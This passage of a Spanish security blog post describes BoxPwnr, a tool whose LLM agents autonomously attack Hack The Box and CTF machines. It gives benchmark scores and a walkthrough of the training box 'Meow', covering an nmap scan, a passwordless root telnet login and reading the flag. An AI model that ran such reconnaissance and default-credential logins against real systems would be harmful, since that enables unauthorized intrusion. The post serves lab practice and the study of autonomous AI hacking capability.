/ 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;873&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=hackbench&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;HackBench Benchmarks&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;11/16&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/3c26d767be48a187f9696da6a71c5c65739c60a641a490ff211138f9eb0f7505/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f36382e382532352d677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;68.8%&quot; data-canonical-src=&quot;https://img.shields.io/badge/68.8%25-green?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/3c26d767be48a187f9696da6a71c5c65739c60a641a490ff211138f9eb0f7505/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f36382e382532352d677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;34&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=levelupctf&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;LevelUpCTF Challenges&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;50/255&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/306f0b4ad68ba41a185e2035b4e66bf57a4f0445891f1da4e9de174a0b004ea9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f31392e362532352d7265643f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;19.6%&quot; data-canonical-src=&quot;https://img.shields.io/badge/19.6%25-red?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/306f0b4ad68ba41a185e2035b4e66bf57a4f0445891f1da4e9de174a0b004ea9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f31392e362532352d7265643f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;166&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=BSidesSF-CTF-2026&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;BSidesSF CTF 2026&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;46/54&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/553a710320eb357f9ab02e0bbfde5b21d7c4ca8c4c32bff3cca29e82c44138c3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f38352e322532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;85.2%&quot; data-canonical-src=&quot;https://img.shields.io/badge/85.2%25-brightgreen?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/553a710320eb357f9ab02e0bbfde5b21d7c4ca8c4c32bff3cca29e82c44138c3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f38352e322532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;96&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=Cloud-Village-CTF-2026&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;Cloud Village CTF 2026&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;12/21&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/eb2b686b5f512764e693da58542563c24d31effd3d3a410a8779de061144bc28/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f35372e312532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;57.1%&quot; data-canonical-src=&quot;https://img.shields.io/badge/57.1%25-yellow?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/eb2b686b5f512764e693da58542563c24d31effd3d3a410a8779de061144bc28/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f35372e312532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;39&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=Neurogrid-CTF-The-ultimate-AI-security-showdown&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;Neurogrid CTF: The ultimate AI security showdown&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;17/36&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/283ea5b27246ba0de60b64f1b02b076dda94f2d2ab90ee202aea93a0595318d5/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f34372e322532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;47.2%&quot; data-canonical-src=&quot;https://img.shields.io/badge/47.2%25-yellow?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/283ea5b27246ba0de60b64f1b02b076dda94f2d2ab90ee202aea93a0595318d5/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f34372e322532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;197&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;span&gt;Como veis una de las cosas más interesantes de BoxPwnr es que no se queda en el “mira qué guay”. Se ha utilizado como banco de pruebas contra plataformas conocidas —especialmente &lt;/span&gt;&lt;span&gt;Hack The Box&lt;/span&gt;&lt;span&gt; y la Web Security Academy de PortSwigger— para medir algo tangible: cuántos retos es capaz de resolver, cuánto tarda, cuántas iteraciones necesita y cuánto cuesta en términos de uso de API.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Los números, sin ser apocalípticos, son lo bastante buenos como para incomodar. En escenarios relativamente guiados, como labs de iniciación o máquinas con vectores claros, las tasas de éxito son sorprendentemente altas. En entornos más abiertos o con cadenas de explotación menos evidentes, el rendimiento cae —y cae bastante—, pero no a cero. Siempre hay ejecuciones en las que, tras suficientes iteraciones, el modelo acaba conectando los puntos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo realmente relevante no es el porcentaje exacto, sino la tendencia: conforme mejoras el modelo, ajustas prompts y refinas estrategias, el rendimiento sube. Y lo hace sin necesidad de “enseñar hacking” de forma explícita en cada paso. Es decir, estamos viendo un sistema que, con acceso a herramientas estándar y suficiente contexto, es capaz de aproximarse al comportamiento de un pentester… aunque sea a base de probar más cosas, más rápido y con menos prejuicios.&lt;/p&gt;&lt;p&gt;Dicho de otra forma: no es especialmente listo, pero es &lt;strong&gt;incansable&lt;/strong&gt;. Y eso, en ofensiva, compensa más de lo que nos gustaría admitir.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;¿Cómo funciona realmente BosPwnr?&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;BoxPwnr utiliza diferentes modelos LLM para resolver de forma autónoma las máquinas mediante un proceso iterativo:&lt;/p&gt;&lt;p&gt;1. Entorno: Todos los comandos se ejecutan en un contenedor Docker con Kali Linux.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;El contenedor se crea automáticamente en la primera ejecución (tarda aproximadamente 10 minutos).&lt;/li&gt;&lt;li&gt;La ​​conexión VPN se establece automáticamente mediante la opción `--vpn`.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;2. Bucle de ejecución:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;El LLM recibe una solicitud detallada del sistema que define su tarea y restricciones.&lt;/li&gt;&lt;li&gt;El LLM sugiere el siguiente comando basándose en los resultados anteriores.&lt;/li&gt;&lt;li&gt;El comando se ejecuta en el contenedor Docker.&lt;/li&gt;&lt;li&gt;El resultado se envía al LLM para su análisis.&lt;/li&gt;&lt;li&gt;El proceso se repite hasta que se encuentra la opción o el LLM necesita ayuda.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;3. Automatización de comandos:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;El LLM recibe instrucciones para proporcionar comandos totalmente automatizados sin interacción manual.&lt;/li&gt;&lt;li&gt;El LLM debe incluir tiempos de espera adecuados y gestionar los retrasos del servicio en los comandos.&lt;/li&gt;&lt;li&gt;El LLM debe programar todas las interacciones con el servicio (telnet, ssh, etc.) para que no sean interactivas.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;4. Resultados:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;La conversación y los comandos se guardan para su análisis.&lt;/li&gt;&lt;li&gt;Se genera un resumen cuando se encuentra la opción.&lt;/li&gt;&lt;li&gt;Estadísticas de uso. (tokens, costo) se van loggeando&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3ssQ8Yv7iVe1_CzlaQyqNk1KU0VlabKLPoK2H_FtDuJsZx2CazTOb6BgzArXvDpfq3_Rskd5rVp3gKVX0GXeCjA2BSGEDtCwaDRyFdR_zn6_47uoIdJh56V92xjrN51k71y7bWJpr41Xuvu_7V28pBgtBIyj746bV6Ojc_6BzQSBvlceQ-s2t3M4popyG/s240/meow.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;Un ejemplo inicial&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;Vamos a aterrizar esto con algo que sí encaja con cómo se usa BoxPwnr hoy en día, sin inventarnos un flujo “demasiado perfecto”. Si has trasteado mínimamente, ya habrás visto que puedes lanzar directamente con &lt;code&gt;uv&lt;/code&gt; y modelos open sin siquiera configurar credenciales externas.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Un ejemplo muy básico es tirar contra la máquina inicial&amp;nbsp;&lt;strong&gt;Meow&lt;/strong&gt; de Hack The Box. Básica, sí. Pero para empezar teniendo una superficie simple, vector claro y pocas decisiones donde perderse. El comando de arranque es tal cual:&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼt ͼu&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div aria-live=&quot;polite&quot; class=&quot;cm-announced&quot;&gt;&lt;/div&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-multiline=&quot;true&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; class=&quot;cm-content&quot; contenteditable=&quot;true&quot; data-language=&quot;shell&quot; role=&quot;textbox&quot; spellcheck=&quot;false&quot; translate=&quot;no&quot; writingsuggestions=&quot;false&quot;&gt;&lt;div class=&quot;cm-line&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;uv run boxpwnr &lt;span class=&quot;ͼn&quot;&gt;--platform&lt;/span&gt; htb &lt;span class=&quot;ͼn&quot;&gt;--target&lt;/span&gt; meow &lt;span class=&quot;ͼn&quot;&gt;--model&lt;/span&gt; opencode/big-pickle &lt;span class=&quot;ͼn&quot;&gt;--max-cost&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;0&lt;/span&gt;.5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sin API keys, sin historias. Y aquí ya hay un matiz importante: el modelo no es especialmente potente. Lo que estás probando no es “la mejor IA posible”, sino si el enfoque funciona incluso con algo relativamente limitado. A partir de aquí, el comportamiento es bastante revelador.&lt;/p&gt;&lt;p&gt;La primera iteración no suele ser brillante. A veces intenta resolver “meow” como hostname, otras lanza directamente un escaneo sin demasiada fineza. Pero tras uno o dos tropiezos iniciales, acaba cayendo en lo obvio:&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼv ͼw&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div aria-live=&quot;polite&quot; class=&quot;cm-announced&quot;&gt;&lt;/div&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-multiline=&quot;true&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; class=&quot;cm-content&quot; contenteditable=&quot;true&quot; data-language=&quot;shell&quot; role=&quot;textbox&quot; spellcheck=&quot;false&quot; translate=&quot;no&quot; writingsuggestions=&quot;false&quot;&gt;&lt;div class=&quot;cm-line&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;nmap &lt;span class=&quot;ͼn&quot;&gt;-sC&lt;/span&gt; &lt;span class=&quot;ͼn&quot;&gt;-sV&lt;/span&gt; meow.htb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Resultado:&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼx ͼy&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div aria-live=&quot;polite&quot; class=&quot;cm-announced&quot;&gt;&lt;/div&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-multiline=&quot;true&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; class=&quot;cm-content&quot; contenteditable=&quot;true&quot; role=&quot;textbox&quot; spellcheck=&quot;false&quot; translate=&quot;no&quot; writingsuggestions=&quot;false&quot;&gt;&lt;div class=&quot;cm-line&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;PORT   STATE SERVICE VERSION&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;cm-line&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;23/tcp open  telnet  Linux telnetd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Y aquí es donde notas la diferencia entre un script tonto y algo con contexto. Porque no se queda en el scan. El modelo “reconoce” que el servicio Telnet puede ser interesante y la siguiente acción suele ser directa:&amp;nbsp;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span class=&quot;ͼo&quot;&gt;telnet&lt;/span&gt; meow.htb&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼz ͼ10&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Y aquí pasan varias cosas dependiendo de la ejecución. En algunas, el modelo prueba usuarios genéricos. En otras —y esto es lo interesante— prueba directamente: &lt;span style=&quot;font-family: courier;&quot;&gt;login: root&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼ11 ͼ12&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sin password. Y entra.&lt;/p&gt;&lt;p&gt;Una vez dentro, el comportamiento vuelve a ser caótico. Enumera, repite comandos, duda… hasta que en algún momento hace lo obvio:&amp;nbsp;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span class=&quot;ͼo&quot;&gt;cat&lt;/span&gt; /root/flag.txt&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cm-editor ͼ1 ͼ2 ͼ4 ͼ13 ͼ14&quot; contenteditable=&quot;false&quot; data-is-code-block-view=&quot;true&quot;&gt;&lt;div class=&quot;cm-scroller&quot; tabindex=&quot;-1&quot;&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-layer-above cm-cursorLayer&quot;&gt;&lt;div class=&quot;cm-cursor cm-cursor-primary&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div aria-hidden=&quot;true&quot; class=&quot;cm-layer cm-selectionLayer&quot;&gt;&lt;div class=&quot;cm-selectionBackground&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Y ahí está. No hay magia. Pero tampoco hay humano.&lt;/p&gt;&lt;/div&gt;&lt;h3&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Y ahora, lo incómodo&lt;/span&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después de ver algo así, es tentador quedarse con la parte tranquilizadora: que comete errores, que no siempre entiende lo que hace, que necesita muchas iteraciones y bastante contexto para acertar. Todo eso es cierto. Pero también lo es esto: hace un año, esto no funcionaba así. Y dentro de un año, probablemente funcionará bastante mejor.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;BoxPwnr no es el fin del pentester, ni mucho menos. Pero sí es un aviso bastante claro de hacia dónde se está moviendo esto. Porque cuando combinas modelos cada vez más capaces con acceso a herramientas reales y bucles de decisión autónomos, lo que obtienes no es un asistente más listo, sino algo cualitativamente distinto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Algo que no solo responde a tus comandos.&lt;/p&gt;&lt;p&gt;Algo que empieza a tener los suyos propios.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/3622923145489463500/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/boxpwnr-resuelve-maquinas-de-hackthebox-con-IA.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3622923145489463500'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3622923145489463500'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/boxpwnr-resuelve-maquinas-de-hackthebox-con-IA.html' title='BoxPwnr: resuelve máquinas de Hackthebox (y otros) con IA'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1hgs_68R3AH2eQT8VdYVDBxELInNCIkYhLF07KtD8HUpUauA0F3XNkP7xqlvVQG7n97jrPDPZIlZ6XW1RRWOLWE4t-hcSTwKDa1njd11D1qV6t96jBKI9KfFmO_A_zQXLqCo5corEcFjRkUc7-2DDbLJs4CDBA0mNKAvpBQ6v5SFvVkBTRr41LPXbKfid/s72-c/sarah.jpeg" height="72" width="72"/><thr:total>1</thr:total></entry></feed>